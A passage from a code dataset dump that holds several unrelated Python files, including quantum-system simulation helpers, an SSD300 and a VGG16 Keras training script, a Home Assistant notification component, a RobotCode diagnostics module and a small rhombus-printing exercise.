len(m1[0]) == len(v1):\n m = [[0 for i in range(len(v1[0]))] for j in range(len(m1))]\n for row in range(len(m1)):\n for column in range(len(v1[0])):\n for aux in range(len(m1[0])):\n m[row][column] = round(m[row][column] + (m1[row][aux] * v1[aux][column]), 3)\n return m\n\n\n# Punto 1\ndef clicks_boolean(matrix, vector, t):\n \"\"\"\n Function that calculates the marbles experiment\n :param matrix:Array of n*m items, each item is boolean\n :param vector:Array of m items, each item is a real number\n :param t:Integer\n :return Array:\n \"\"\"\n for i in range(len(matrix)):\n for j in range(len(matrix)):\n if matrix[i][j]:\n matrix[i][j] = 1\n else:\n matrix[i][j] = 0\n ans = vector\n for i in range(t):\n ans = action(matrix, ans)\n return ans\n\n\n# Punto 2\ndef clicks_prob(matrix, vector, t):\n \"\"\"\n Function that calculates the probabilities of a probabilistic system in t clicks\n :param matrix:Array of n*m items, each item is a real number\n :param vector:Array of m items, each item is a real number\n :param t:Integer\n :return List:\n \"\"\"\n ans = vector\n for i in range(t):\n ans = action(matrix, ans)\n return ans\n\n\n# Punto 3\ndef clicks_cuant(matrix, vector, t):\n \"\"\"\n Function that calculates t clicks in a quantum system\n :param matrix: Array of n*m items, each item is a complex number\n :param vector: Array of m items, each item is a complex number\n :param t: Integer\n :return Array:\n \"\"\"\n ans = vector\n for i in range(t):\n ans = vm.action(matrix, ans)\n for i in range(len(ans)):\n ans[i][0] = round(complex.mod(ans[i][0]) ** 2, 3)\n return ans\n\n\n#Punto 4\ndef plot(probs):\n \"\"\"\n Function that plots the probabilities of a status vector\n :param probs: List\n \"\"\"\n estados = [x for x in range(len(probs))]\n fig, ax = plt.subplots()\n ax.set_ylabel('Probabilidades')\n ax.set_xlabel('Estados')\n ax.set_title('Sistema Cuantico')\n plt.bar(estados, probs)\n plt.savefig('probabilities.png')\n plt.show()\n","sub_path":"Classic to Quantum/classToQuan.py","file_name":"classToQuan.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"344728175","text":"import os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"7\"\nfrom keras.optimizers import Adam, SGD\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler, TerminateOnNaN, CSVLogger\nfrom keras import backend as K\nfrom keras.models import load_model\nfrom math import ceil\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport h5py\n\nfrom models.keras_ssd300 import ssd_300\nfrom keras_loss_function.keras_ssd_loss import SSDLoss\nfrom keras_layers.keras_layer_AnchorBoxes import AnchorBoxes\nfrom keras_layers.keras_layer_DecodeDetections import DecodeDetections\nfrom keras_layers.keras_layer_DecodeDetectionsFast import DecodeDetectionsFast\nfrom keras_layers.keras_layer_L2Normalization import L2Normalization\nfrom keras.engine import topology\nfrom keras.engine import saving\n\nfrom ssd_encoder_decoder.ssd_input_encoder import SSDInputEncoder\nfrom ssd_encoder_decoder.ssd_output_decoder import decode_detections, decode_detections_fast\n\nfrom data_generator.object_detection_2d_data_generator import DataGenerator\nfrom data_generator.object_detection_2d_geometric_ops import Resize\nfrom data_generator.object_detection_2d_photometric_ops import ConvertTo3Channels\nfrom data_generator.data_augmentation_chain_original_ssd import SSDDataAugmentation\nfrom data_generator.object_detection_2d_misc_utils import apply_inverse_transforms\n\n\n\ndef lr_schedule(epoch):\n if epoch < 30:\n return 0.0001\n else:\n return 0.00005\n\n\n\nimg_height = 300 # Height of the model input images\nimg_width = 300 # Width of the model input images\nimg_channels = 3 # Number of color channels of the model input images\nmean_color = [123, 117,\n 104] # The per-channel mean of the images in the dataset. Do not change this value if you're using any of the pre-trained weights.\nswap_channels = [2, 1,\n 0] # The color channel order in the original SSD is BGR, so we'll have the model reverse the color channel order of the input images.\nn_classes = 1 # Number of positive classes, e.g. 20 for Pascal VOC, 80 for MS COCO\nscales_pascal = [0.1, 0.2, 0.37, 0.54, 0.71, 0.88,\n 1.05] # The anchor box scaling factors used in the original SSD300 for the Pascal VOC datasets\nscales_coco = [0.07, 0.15, 0.33, 0.51, 0.69, 0.87,\n 1.05] # The anchor box scaling factors used in the original SSD300 for the MS COCO datasets\nscales = scales_pascal\naspect_ratios = [[1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5, 3.0, 1.0 / 3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0 / 3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0 / 3.0],\n [1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5]] # The anchor box aspect ratios used in the original SSD300; the order matters\ntwo_boxes_for_ar1 = True\nsteps = [8, 16, 32, 64, 100, 300] # The space between two adjacent anchor box center points for each predictor layer.\noffsets = [0.5, 0.5, 0.5, 0.5, 0.5,\n 0.5] # The offsets of the first anchor box center points from the top and left borders of the image as a fraction of the step size for each predictor layer.\nclip_boxes = False # Whether or not to clip the anchor boxes to lie entirely within the image boundaries\nvariances = [0.1, 0.1, 0.2,\n 0.2] # The variances by which the encoded target coordinates are divided as in the original implementation\nnormalize_coords = True\n\n# 1: Build the Keras model.\n\nK.clear_session() # Clear previous models from memory.\n\nmodel = ssd_300(image_size=(img_height, img_width, img_channels),\n n_classes=n_classes,\n mode='training',\n l2_regularization=0.0005,\n scales=scales,\n aspect_ratios_per_layer=aspect_ratios,\n two_boxes_for_ar1=two_boxes_for_ar1,\n steps=steps,\n offsets=offsets,\n clip_boxes=clip_boxes,\n variances=variances,\n normalize_coords=normalize_coords,\n subtract_mean=mean_color,\n swap_channels=swap_channels)\n\nweights_path = 'VGG_VOC0712_SSD_300x300_ft_iter_120000.h5'\n\n\nclassifier_names = ['conv4_3_norm_mbox_conf',\n 'fc7_mbox_conf',\n 'conv6_2_mbox_conf',\n 'conv7_2_mbox_conf',\n 'conv8_2_mbox_conf',\n 'conv9_2_mbox_conf']\n\n\nf = h5py.File(weights_path, mode='r')\nif 'layer_names' not in f.attrs and 'model_weights' in f:\n f = f['model_weights']\n\nlayers = model.inner_model.layers if hasattr(model, \"inner_model\") \\\n else model.layers\n\n# Exclude some layers\n\nlayers = filter(lambda l: l.name not in classifier_names, layers)\n\n\nsaving.load_weights_from_hdf5_group_by_name(f, layers)\n\nif hasattr(f, 'close'):\n f.close()\n\n\nsgd = SGD(lr=0.001, momentum=0.9, decay=0.0, nesterov=False)\nadam = Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0)\nssd_loss = SSDLoss(neg_pos_ratio=3, alpha=1.0)\n\nmodel.compile(optimizer=adam, loss=ssd_loss.compute_loss)\n\ntrain_dataset = DataGenerator(load_images_into_memory=False, hdf5_dataset_path=None)\nval_dataset = DataGenerator(load_images_into_memory=False, hdf5_dataset_path=None)\n\n\nclasses = ['background',\n 'shit']\n\ntrain_dataset.parse_labelme(\n annotations_dirs=['/home/xiongxin/workspace/about_pig/img/2021-01-28'],\n classes=classes,\n include_classes='all',\n exclude_truncated=False,\n exclude_difficult=False,\n ret=False)\n\nval_dataset.parse_labelme(\n annotations_dirs=['/home/xiongxin/workspace/about_pig/img/25-26-27'],\n classes=classes,\n include_classes='all',\n exclude_truncated=False,\n exclude_difficult=True,\n ret=False)\n\ntrain_dataset.create_hdf5_dataset(file_path='trainval.h5',\n resize=False,\n variable_image_size=True,\n verbose=True)\n\nval_dataset.create_hdf5_dataset(file_path='test.h5',\n resize=False,\n variable_image_size=True,\n verbose=True)\n\nbatch_size = 2 # Change the batch size if you like, or if you run into GPU memory issues.\n\n# 4: Set the image transformations for pre-processing and data augmentation options.\n\n# For the training generator:\nssd_data_augmentation = SSDDataAugmentation(img_height=img_height,\n img_width=img_width,\n background=mean_color)\n\n# For the validation generator:\nconvert_to_3_channels = ConvertTo3Channels()\nresize = Resize(height=img_height, width=img_width)\n\n# 5: Instantiate an encoder that can encode ground truth labels into the format needed by the SSD loss function.\n\n# The encoder constructor needs the spatial dimensions of the model's predictor layers to create the anchor boxes.\npredictor_sizes = [model.get_layer('conv4_3_norm_mbox_conf').output_shape[1:3],\n model.get_layer('fc7_mbox_conf').output_shape[1:3],\n model.get_layer('conv6_2_mbox_conf').output_shape[1:3],\n model.get_layer('conv7_2_mbox_conf').output_shape[1:3],\n model.get_layer('conv8_2_mbox_conf').output_shape[1:3],\n model.get_layer('conv9_2_mbox_conf').output_shape[1:3]]\n\nssd_input_encoder = SSDInputEncoder(img_height=img_height,\n img_width=img_width,\n n_classes=n_classes,\n predictor_sizes=predictor_sizes,\n scales=scales,\n aspect_ratios_per_layer=aspect_ratios,\n two_boxes_for_ar1=two_boxes_for_ar1,\n steps=steps,\n offsets=offsets,\n clip_boxes=clip_boxes,\n variances=variances,\n matching_type='multi',\n pos_iou_threshold=0.5,\n neg_iou_limit=0.5,\n normalize_coords=normalize_coords)\n\n# 6: Create the generator handles that will be passed to Keras' `fit_generator()` function.\n\ntrain_generator = train_dataset.generate(batch_size=batch_size,\n shuffle=True,\n transformations=[ssd_data_augmentation],\n label_encoder=ssd_input_encoder,\n returns={'processed_images',\n 'encoded_labels'},\n keep_images_without_gt=False)\n\nval_generator = val_dataset.generate(batch_size=batch_size,\n shuffle=False,\n transformations=[convert_to_3_channels,\n resize],\n label_encoder=ssd_input_encoder,\n returns={'processed_images',\n 'encoded_labels'},\n keep_images_without_gt=False)\n\n# Get the number of samples in the training and validations datasets.\ntrain_dataset_size = train_dataset.get_dataset_size()\nval_dataset_size = val_dataset.get_dataset_size()\n\nmodel_checkpoint = ModelCheckpoint(filepath='train_model/ssd300_pig_epoch-{epoch:02d}_loss-{loss:.4f}_val_loss-{val_loss:.4f}.h5',\n monitor='val_loss',\n verbose=1,\n save_best_only=True,\n save_weights_only=True,\n mode='auto',\n period=1)\n# model_checkpoint.best =\n\ncsv_logger = CSVLogger(filename='ssd300_pig_training_log.csv',\n separator=',',\n append=True)\n\nlearning_rate_scheduler = LearningRateScheduler(schedule=lr_schedule,\n )\n\nterminate_on_nan = TerminateOnNaN()\n\ncallbacks = [model_checkpoint,\n csv_logger,\n learning_rate_scheduler,\n terminate_on_nan]\n\ninitial_epoch = 0\nfinal_epoch = 120\nsteps_per_epoch = 50\n\nhistory = model.fit_generator(generator=train_generator,\n steps_per_epoch=steps_per_epoch,\n epochs=final_epoch,\n callbacks=callbacks,\n validation_data=val_generator,\n validation_steps=ceil(val_dataset_size / batch_size),\n initial_epoch=initial_epoch)\n","sub_path":"ssd300_training.py","file_name":"ssd300_training.py","file_ext":"py","file_size_in_byte":10836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"449714232","text":"\"\"\"Support for displaying persistent notifications.\"\"\"\nfrom __future__ import annotations\n\nfrom collections import OrderedDict\nfrom collections.abc import Mapping, MutableMapping\nimport logging\nfrom typing import Any\n\nimport voluptuous as vol\n\nfrom homeassistant.components import websocket_api\nfrom homeassistant.const import ATTR_FRIENDLY_NAME\nfrom homeassistant.core import HomeAssistant, callback\nfrom homeassistant.exceptions import TemplateError\nfrom homeassistant.helpers import config_validation as cv\nfrom homeassistant.helpers.entity import async_generate_entity_id\nfrom homeassistant.helpers.template import Template\nfrom homeassistant.loader import bind_hass\nfrom homeassistant.util import slugify\nimport homeassistant.util.dt as dt_util\n\n# mypy: allow-untyped-calls, allow-untyped-defs\n\nATTR_CREATED_AT = \"created_at\"\nATTR_MESSAGE = \"message\"\nATTR_NOTIFICATION_ID = \"notification_id\"\nATTR_TITLE = \"title\"\nATTR_STATUS = \"status\"\n\nDOMAIN = \"persistent_notification\"\n\nENTITY_ID_FORMAT = DOMAIN + \".{}\"\n\nEVENT_PERSISTENT_NOTIFICATIONS_UPDATED = \"persistent_notifications_updated\"\n\nSERVICE_CREATE = \"create\"\nSERVICE_DISMISS = \"dismiss\"\nSERVICE_MARK_READ = \"mark_read\"\n\nSCHEMA_SERVICE_CREATE = vol.Schema(\n {\n vol.Required(ATTR_MESSAGE): vol.Any(cv.dynamic_template, cv.string),\n vol.Optional(ATTR_TITLE): vol.Any(cv.dynamic_template, cv.string),\n vol.Optional(ATTR_NOTIFICATION_ID): cv.string,\n }\n)\n\nSCHEMA_SERVICE_DISMISS = vol.Schema({vol.Required(ATTR_NOTIFICATION_ID): cv.string})\n\nSCHEMA_SERVICE_MARK_READ = vol.Schema({vol.Required(ATTR_NOTIFICATION_ID): cv.string})\n\nDEFAULT_OBJECT_ID = \"notification\"\n_LOGGER = logging.getLogger(__name__)\n\nSTATE = \"notifying\"\nSTATUS_UNREAD = \"unread\"\nSTATUS_READ = \"read\"\n\n\n@bind_hass\ndef create(hass, message, title=None, notification_id=None):\n \"\"\"Generate a notification.\"\"\"\n hass.add_job(async_create, hass, message, title, notification_id)\n\n\n@bind_hass\ndef dismiss(hass, notification_id):\n \"\"\"Remove a notification.\"\"\"\n hass.add_job(async_dismiss, hass, notification_id)\n\n\n@callback\n@bind_hass\ndef async_create(\n hass: HomeAssistant,\n message: str,\n title: str | None = None,\n notification_id: str | None = None,\n) -> None:\n \"\"\"Generate a notification.\"\"\"\n data = {\n key: value\n for key, value in [\n (ATTR_TITLE, title),\n (ATTR_MESSAGE, message),\n (ATTR_NOTIFICATION_ID, notification_id),\n ]\n if value is not None\n }\n\n hass.async_create_task(hass.services.async_call(DOMAIN, SERVICE_CREATE, data))\n\n\n@callback\n@bind_hass\ndef async_dismiss(hass: HomeAssistant, notification_id: str) -> None:\n \"\"\"Remove a notification.\"\"\"\n data = {ATTR_NOTIFICATION_ID: notification_id}\n\n hass.async_create_task(hass.services.async_call(DOMAIN, SERVICE_DISMISS, data))\n\n\nasync def async_setup(hass: HomeAssistant, config: dict) -> bool:\n \"\"\"Set up the persistent notification component.\"\"\"\n persistent_notifications: MutableMapping[str, MutableMapping] = OrderedDict()\n hass.data[DOMAIN] = {\"notifications\": persistent_notifications}\n\n @callback\n def create_service(call):\n \"\"\"Handle a create notification service call.\"\"\"\n title = call.data.get(ATTR_TITLE)\n message = call.data.get(ATTR_MESSAGE)\n notification_id = call.data.get(ATTR_NOTIFICATION_ID)\n\n if notification_id is not None:\n entity_id = ENTITY_ID_FORMAT.format(slugify(notification_id))\n else:\n entity_id = async_generate_entity_id(\n ENTITY_ID_FORMAT, DEFAULT_OBJECT_ID, hass=hass\n )\n notification_id = entity_id.split(\".\")[1]\n\n attr = {}\n if title is not None:\n if isinstance(title, Template):\n try:\n title.hass = hass\n title = title.async_render(parse_result=False)\n except TemplateError as ex:\n _LOGGER.error(\"Error rendering title %s: %s\", title, ex)\n title = title.template\n\n attr[ATTR_TITLE] = title\n attr[ATTR_FRIENDLY_NAME] = title\n\n if isinstance(message, Template):\n try:\n message.hass = hass\n message = message.async_render(parse_result=False)\n except TemplateError as ex:\n _LOGGER.error(\"Error rendering message %s: %s\", message, ex)\n message = message.template\n\n attr[ATTR_MESSAGE] = message\n\n hass.states.async_set(entity_id, STATE, attr)\n\n # Store notification and fire event\n # This will eventually replace state machine storage\n persistent_notifications[entity_id] = {\n ATTR_MESSAGE: message,\n ATTR_NOTIFICATION_ID: notification_id,\n ATTR_STATUS: STATUS_UNREAD,\n ATTR_TITLE: title,\n ATTR_CREATED_AT: dt_util.utcnow(),\n }\n\n hass.bus.async_fire(EVENT_PERSISTENT_NOTIFICATIONS_UPDATED)\n\n @callback\n def dismiss_service(call):\n \"\"\"Handle the dismiss notification service call.\"\"\"\n notification_id = call.data.get(ATTR_NOTIFICATION_ID)\n entity_id = ENTITY_ID_FORMAT.format(slugify(notification_id))\n\n if entity_id not in persistent_notifications:\n return\n\n hass.states.async_remove(entity_id, call.context)\n\n del persistent_notifications[entity_id]\n hass.bus.async_fire(EVENT_PERSISTENT_NOTIFICATIONS_UPDATED)\n\n @callback\n def mark_read_service(call):\n \"\"\"Handle the mark_read notification service call.\"\"\"\n notification_id = call.data.get(ATTR_NOTIFICATION_ID)\n entity_id = ENTITY_ID_FORMAT.format(slugify(notification_id))\n\n if entity_id not in persistent_notifications:\n _LOGGER.error(\n \"Marking persistent_notification read failed: \"\n \"Notification ID %s not found\",\n notification_id,\n )\n return\n\n persistent_notifications[entity_id][ATTR_STATUS] = STATUS_READ\n hass.bus.async_fire(EVENT_PERSISTENT_NOTIFICATIONS_UPDATED)\n\n hass.services.async_register(\n DOMAIN, SERVICE_CREATE, create_service, SCHEMA_SERVICE_CREATE\n )\n\n hass.services.async_register(\n DOMAIN, SERVICE_DISMISS, dismiss_service, SCHEMA_SERVICE_DISMISS\n )\n\n hass.services.async_register(\n DOMAIN, SERVICE_MARK_READ, mark_read_service, SCHEMA_SERVICE_MARK_READ\n )\n\n hass.components.websocket_api.async_register_command(websocket_get_notifications)\n\n return True\n\n\n@callback\n@websocket_api.websocket_command({vol.Required(\"type\"): \"persistent_notification/get\"})\ndef websocket_get_notifications(\n hass: HomeAssistant,\n connection: websocket_api.ActiveConnection,\n msg: Mapping[str, Any],\n) -> None:\n \"\"\"Return a list of persistent_notifications.\"\"\"\n connection.send_message(\n websocket_api.result_message(\n msg[\"id\"],\n [\n {\n key: data[key]\n for key in (\n ATTR_NOTIFICATION_ID,\n ATTR_MESSAGE,\n ATTR_STATUS,\n ATTR_TITLE,\n ATTR_CREATED_AT,\n )\n }\n for data in hass.data[DOMAIN][\"notifications\"].values()\n ],\n )\n )\n","sub_path":"homeassistant/components/persistent_notification/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"269978908","text":"# import sys\n# sys.path.append(r\"D:/WorkSpace/IDEA_Python_Space/intelligent/com/studies/primary/tutorials/image/cifar10\")\n# import com.studies.primary.tutorials.image.cifar10.cifar10_input as cifar10_input\nimport com.studies.primary.cifar10_input as cifar10_input\nimport tensorflow as tf\nimport pylab\n\nbatch_size = 128\ndata_dir = 'D:/WorkSpace/data/Tensorflow_cifar10_data/cifar-10-batches-bin/'\nimages_test, labels_test = cifar10_input.inputs(eval_data=True,data_dir=data_dir,batch_size=batch_size)\n\nsess = tf.InteractiveSession()\ntf.global_variables_initializer().run()\ntf.train.start_queue_runners()\nimage_batch, label_batch = sess.run([images_test, labels_test])\nprint(\"__\\n\",image_batch[0])\nprint(\"__\\n\",label_batch[0])\npylab.imshow(image_batch[0])\npylab.show()\n","sub_path":"com/studies/primary/demo40.py","file_name":"demo40.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"477836679","text":"from __future__ import annotations\n\nimport ast\nfrom typing import TYPE_CHECKING, Any, List, Optional\n\nfrom ....utils.logging import LoggingDescriptor\nfrom ...common.language import language_id\nfrom ...common.lsp_types import Diagnostic, DiagnosticSeverity, Position, Range\nfrom ...common.parts.diagnostics import DiagnosticsResult\nfrom ...common.text_document import TextDocument\nfrom ..utils.ast import Token, range_from_token\n\nif TYPE_CHECKING:\n from ..protocol import RobotLanguageServerProtocol\n\nfrom .protocol_part import RobotLanguageServerProtocolPart\n\n\nclass RobotDiagnosticsProtocolPart(RobotLanguageServerProtocolPart):\n _logger = LoggingDescriptor()\n\n def __init__(self, parent: RobotLanguageServerProtocol) -> None:\n super().__init__(parent)\n\n self.source_name = \"robotcode.diagnostics\"\n\n parent.diagnostics.collect.add(self.collect_token_errors)\n # parent.diagnostics.collect.add(self.collect_model_errors)\n parent.diagnostics.collect.add(self.collect_walk_model_errors)\n\n parent.diagnostics.collect.add(self.collect_namespace_diagnostics)\n\n parent.documents.did_open.add(self.namespace_invalidated)\n parent.documents_cache.namespace_invalidated.add(self.namespace_invalidated)\n\n async def namespace_invalidated(self, sender: Any, document: TextDocument) -> None:\n await self.parent.diagnostics.start_publish_diagnostics_task(document)\n\n def _create_error_from_node(self, node: ast.AST, msg: str, source: Optional[str] = None) -> Diagnostic:\n return Diagnostic(\n range=Range(\n start=Position(line=node.lineno - 1, character=node.col_offset),\n end=Position(line=(node.end_lineno or 1) - 1, character=node.end_col_offset or 0),\n ),\n message=msg,\n severity=DiagnosticSeverity.ERROR,\n source=source if source is not None else self.source_name,\n code=\"ModelError\",\n )\n\n def _create_error_from_token(self, token: Token, source: Optional[str] = None) -> Diagnostic:\n return Diagnostic(\n range=range_from_token(token),\n message=token.error if token.error is not None else \"Unknown Error.\",\n severity=DiagnosticSeverity.ERROR,\n source=source if source is not None else self.source_name,\n code=\"TokenError\",\n )\n\n @language_id(\"robotframework\")\n @_logger.call\n async def collect_token_errors(self, sender: Any, document: TextDocument) -> DiagnosticsResult:\n from robot.errors import VariableError\n from robot.parsing.lexer.tokens import Token\n\n result: List[Diagnostic] = []\n try:\n for token in await self.parent.documents_cache.get_tokens(document):\n if token.type in [Token.ERROR, Token.FATAL_ERROR]:\n result.append(self._create_error_from_token(token))\n\n try:\n for variable_token in token.tokenize_variables():\n if variable_token == token:\n break\n\n if variable_token.type in [Token.ERROR, Token.FATAL_ERROR]:\n result.append(self._create_error_from_token(variable_token))\n\n except VariableError as e:\n result.append(\n Diagnostic(\n range=range_from_token(token),\n message=str(e),\n severity=DiagnosticSeverity.ERROR,\n source=self.source_name,\n code=type(e).__qualname__,\n )\n )\n\n return DiagnosticsResult(self.collect_token_errors, result)\n except BaseException as e:\n return DiagnosticsResult(\n self.collect_token_errors,\n [\n Diagnostic(\n range=Range(\n start=Position(\n line=0,\n character=0,\n ),\n end=Position(\n line=len(document.lines),\n character=len(document.lines[-1] or \"\"),\n ),\n ),\n message=f\"Fatal {type(e).__qualname__}: {e}\",\n severity=DiagnosticSeverity.ERROR,\n source=self.source_name,\n code=type(e).__qualname__,\n )\n ],\n )\n\n @language_id(\"robotframework\")\n @_logger.call\n async def collect_model_errors(self, sender: Any, document: TextDocument) -> DiagnosticsResult:\n from ..utils.ast import HasError, HasErrors\n from ..utils.async_ast import AsyncVisitor\n\n class Visitor(AsyncVisitor):\n def __init__(self, parent: RobotDiagnosticsProtocolPart) -> None:\n super().__init__()\n self.parent = parent\n self.errors: List[Diagnostic] = []\n\n @classmethod\n async def find_from(cls, model: ast.AST, parent: RobotDiagnosticsProtocolPart) -> List[Diagnostic]:\n finder = cls(parent)\n await finder.visit(model)\n return finder.errors\n\n async def generic_visit(self, node: ast.AST) -> None:\n error = node.error if isinstance(node, HasError) else None\n if error is not None:\n self.errors.append(self.parent._create_error_from_node(node, error))\n errors = node.errors if isinstance(node, HasErrors) else None\n\n if errors is not None:\n for e in errors:\n self.errors.append(self.parent._create_error_from_node(node, e))\n await super().generic_visit(node)\n\n return DiagnosticsResult(\n self.collect_model_errors,\n await Visitor.find_from(await self.parent.documents_cache.get_model(document), self),\n )\n\n @language_id(\"robotframework\")\n @_logger.call\n async def collect_walk_model_errors(self, sender: Any, document: TextDocument) -> DiagnosticsResult:\n from ..utils.ast import HasError, HasErrors\n from ..utils.async_ast import walk\n\n result: List[Diagnostic] = []\n\n async for node in walk(await self.parent.documents_cache.get_model(document)):\n error = node.error if isinstance(node, HasError) else None\n if error is not None:\n result.append(self._create_error_from_node(node, error))\n errors = node.errors if isinstance(node, HasErrors) else None\n if errors is not None:\n for e in errors:\n result.append(self._create_error_from_node(node, e))\n\n return DiagnosticsResult(self.collect_walk_model_errors, result)\n\n @language_id(\"robotframework\")\n @_logger.call\n async def collect_namespace_diagnostics(self, sender: Any, document: TextDocument) -> DiagnosticsResult:\n namespace = await self.parent.documents_cache.get_namespace(document)\n if namespace is None:\n return DiagnosticsResult(self.collect_namespace_diagnostics, None)\n\n return DiagnosticsResult(self.collect_namespace_diagnostics, await namespace.get_diagnostisc())\n","sub_path":"robotcode/language_server/robotframework/parts/diagnostics.py","file_name":"diagnostics.py","file_ext":"py","file_size_in_byte":7438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"27623025","text":"\nheight = int(input('Input the height of rhombus. (Please, make it even): '))\nwhile height % 2 == 0:\n height = int(input('The number is not even. Input the height of rhombus. (Please, make it even): '))\nelse:\n width = height\nfor i in range(height):\n for j in range(width):\n if i == height//2 \\\n or (i == 0 and j == width//2) \\\n or (i == height - 1 and j == width//2) \\\n or (i <= height//2 and width//2 - i <= j <= width//2 + i) \\\n or (i == height//2 + j) \\\n or (i == height//2 + ((width-1) - j))\\\n or (j == width//2 and height//2 < i < height - 1):\n print('* ', end='')\n else:\n print(' ', end='')\n print()\n\n","sub_path":"Lesson_05/rhombus_with_diagonal.py","file_name":"rhombus_with_diagonal.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"81648556","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nfrom data_generator.batch_generator import BatchGenerator\nfrom keras.optimizers import Adam\nfrom keras.callbacks import ModelCheckpoint, CSVLogger, EarlyStopping\nfrom models import AlexNet, LeNet\nfrom keras.applications.vgg16 import VGG16\nfrom keras import backend as K\nK.set_image_data_format('channels_last')\n\nfrom keras.callbacks import ReduceLROnPlateau\nfrom keras.layers import BatchNormalization, Activation, GlobalAveragePooling2D, UpSampling2D\nfrom keras.layers.core import Flatten, Dense, Dropout\nfrom keras.models import Model\n\nimport tensorflow as tf\n\n\n# Image-treat-1: sem data augmentation, com normalização e equalização\n# \n# Image-treat-2: com data augmentation, com normalização e equalização\n# \n# Image-treat-3: com data augmentation, com normalização e com equalização\n\n# In[2]:\n\n\n#config = tf.ConfigProto(allow_soft_placement=True)\n#config.gpu_options.allocator_type = 'BFC'\n#config.gpu_options.per_process_gpu_memory_fraction = 0.9\n\n\n# In[3]:\n\n\napproach = 'abordagem6' \nactivation = 'relu'\nnet = 'vgg16'\n\nif net == 'alexnet':\n model = AlexNet\nelif net =='lenet':\n model = LeNet\nelif net == 'vgg16':\n model = VGG16 \ncsvlogger_name = 'callbacks/'+net +'/age/history-regression-' + approach + '-' + activation + '.csv'\ncheckpoint_filename = 'callbacks/'+net+'/age/class-weights-' + approach + '-' + activation + '.{epoch:02d}-{val_loss:.2f}.hdf5'\ncsvlogger_name, checkpoint_filename\n\n\n# In[4]:\n\n\ndf = pd.read_csv('dataset/csv/imdb_csv/imdb_age_regression_train_split_47950-70-10-20.csv')\n\n\n# In[5]:\n\n\ncols = list(df.columns[1:])\nin_format = list(df.columns)\ncols, in_format\n\n\n# In[6]:\n\n\ntrain_dataset = BatchGenerator(box_output_format=cols)\nvalidation_dataset = BatchGenerator(box_output_format=cols)\n\ntrain_dataset. parse_csv(labels_filename='dataset/csv/imdb_csv/imdb_age_regression_train_split_47950-70-10-20.csv', \n images_dir='dataset/imdb-hand-crop',\n input_format=in_format)\n\nvalidation_dataset.parse_csv(labels_filename='dataset/csv/imdb_csv/imdb_age_regression_val_split_47950-70-10-20.csv', \n images_dir='dataset/imdb-hand-crop',\n input_format=in_format)\n\n\n# In[7]:\n\n\nimg_height, img_width, img_depth = (224,224,3)\n\nepochs = 1000\n\ntrain_batch_size = 64\nshuffle = True\nssd_train = False\n\nvalidation_batch_size = 32\n\n\n# In[8]:\n\n\ntrain_generator = train_dataset.generate(batch_size=train_batch_size,\n shuffle=shuffle,\n ssd_train=ssd_train,\n random_rotation=20,\n translate=(0.2, 0.2),\n scale=(0.8, 1.2),\n flip=0.5,\n divide_by_stddev=255,\n returns={'processed_labels'},\n resize=(img_height, img_width))\n\nvalidation_generator = validation_dataset.generate(batch_size=validation_batch_size,\n shuffle=shuffle,\n ssd_train=ssd_train,\n divide_by_stddev=255,\n returns={'processed_labels'},\n resize=(img_height, img_width))\n\nprint(\"Number of images in the dataset:\", train_dataset.get_n_samples())\nprint(\"Number of images in the dataset:\", validation_dataset.get_n_samples())\n\n\n# In[9]:\n\n\nsteps_per_epoch = train_dataset.get_n_samples()/train_batch_size\nvalidation_steps = validation_dataset.get_n_samples()/validation_batch_size\n\n\n# In[10]:\n\n\nbase_model = VGG16(include_top=True, weights=None, input_tensor=None, \n input_shape=(img_height, img_width, img_depth), \n pooling='avg')\n\nbase_model.summary()\n\n\n# In[11]:\n\n\nbase_model.layers.pop()\n\n\n# In[12]:\n\n\nlast = base_model.layers[-1].output\n\npreds = Dense(1, activation='relu')(last)\n\nmodel = Model(base_model.input, preds)\n\n\n# In[13]:\n\n\nmodel.summary()\n\n\n# In[14]:\n\n\noptimizer = Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.00001, amsgrad=True)\n\n\n# In[15]:\n\n\ncsv_logger = CSVLogger(csvlogger_name, append=True, separator=',')\n\ncheckpoint = ModelCheckpoint(checkpoint_filename,\n monitor='val_loss',\n verbose=1,\n save_best_only=False,\n period=1)\n\nearlystopping = EarlyStopping(patience=30, mode='min')\n\n#callbacks = [tensorboard, checkpoint]\ncallbacks=[checkpoint, csv_logger, earlystopping]\n\n\n# In[16]:\n\n\nmodel.compile(loss='mse', optimizer=optimizer, metrics=['mae'])\n\n\n# In[17]:\n\n\nmodel.fit_generator(train_generator, epochs=epochs, \n steps_per_epoch=128, \n validation_data=validation_generator,\n validation_steps=validation_steps,\n callbacks=callbacks)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"vgg_age_regression-Copy1.py","file_name":"vgg_age_regression-Copy1.py","file_ext":"py","file_size_in_byte":5226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"460901026","text":"#!/usr/bin/env python\nfrom jasp import *\nfrom ase.io.bader import attach_charges\nfrom ase.units import Bohr\nwith jasp('molecules/h2o-bader') as calc:\n atoms = calc.get_atoms()\n symbols = np.array(atoms.get_chemical_symbols())[calc.sort]\n pos = atoms.positions[calc.sort] * Bohr\n newatoms = Atoms(symbols, 